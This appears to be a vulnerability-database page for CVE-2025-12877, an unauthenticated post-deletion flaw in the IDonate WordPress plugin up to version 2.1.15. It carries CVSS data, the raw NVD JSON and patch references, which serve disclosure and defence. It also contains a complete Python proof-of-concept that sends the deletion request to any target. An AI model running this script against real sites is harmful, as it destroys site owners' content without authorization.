Security Vulnerability Report
δΈ­ζ–‡
CVE-2025-12877 CVSS 5.3 MEDIUM

CVE-2025-12877

Published: 2025-11-22 08:15:44
Last Modified: 2026-04-08 18:23:43

Description

The IDonate – Blood Donation, Request And Donor Management System plugin for WordPress is vulnerable to unauthorized modification od data due to a missing capability check on the panding_blood_request_action() function in all versions up to, and including, 2.1.15. This makes it possible for unauthenticated attackers to delete arbitrary posts. CVE-2025-67583 is likely a duplicate of this.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:themeatelier:idonate:*:*:*:*:*:wordpress:*:* - VULNERABLE
IDonate plugin < 2.1.16 (all versions up to and including 2.1.15)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-12877 PoC - IDonate Plugin Unauthorized Post Deletion # Target: WordPress site with IDonate plugin <= 2.1.15 import requests import sys def delete_arbitrary_post(target_url, post_id): """ Delete arbitrary post without authentication """ endpoint = target_url.rstrip('/') + '/wp-admin/admin-ajax.php' data = { 'action': 'panding_blood_request_action', 'request_id': post_id, 'status': 'delete' } headers = { 'Content-Type': 'application/x-www-form-urlencoded', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)' } try: response = requests.post(endpoint, data=data, headers=headers, timeout=10) if response.status_code == 200: print(f'[+] Successfully sent deletion request for post ID: {post_id}') print(f'[+] Response: {response.text[:200]}') else: print(f'[-] Request failed with status: {response.status_code}') except requests.exceptions.RequestException as e: print(f'[-] Error: {e}') if __name__ == '__main__': if len(sys.argv) < 3: print('Usage: python cve-2025-12877_poc.py <target_url> <post_id>') print('Example: python cve-2025-12877_poc.py http://example.com 123') sys.exit(1) target = sys.argv[1] post_id = sys.argv[2] delete_arbitrary_post(target, post_id)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12877", "sourceIdentifier": "[email protected]", "published": "2025-11-22T08:15:44.207", "lastModified": "2026-04-08T18:23:42.750", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "The IDonate – Blood Donation, Request And Donor Management System plugin for WordPress is vulnerable to unauthorized modification od data due to a missing capability check on the panding_blood_request_action() function in all versions up to, and including, 2.1.15. This makes it possible for unauthenticated attackers to delete arbitrary posts. CVE-2025-67583 is likely a duplicate of this."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:themeatelier:idonate:*:*:*:*:*:wordpress:*:*", "versionEndExcluding": "2.1.16", "matchCriteriaId": "150FECCD-3B2E-4331-A600-6F5781FA8467"}]}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset/3398056/idonate/trunk/src/Helpers/IDonateAjaxHandler.php?old=3372718&old_path=idonate%2Ftags%2F2.1.13%2Fsrc%2FHelpers%2FIDonateAjaxHandler.php", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://plugins.trac.wordpress.org/changeset/3400306/idonate/trunk/src/Helpers/IDonateAjaxHandler.php?old=3372718&old_path=idonate%2Ftags%2F2.1.13%2Fsrc%2FHelpers%2FIDonateAjaxHandler.php", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/96bd997f-63d5-47a7-b433-486c1113b44b?source=cve", "source": "[email protected]", "tags": ["Patch", "Third Party Advisory"]}]}}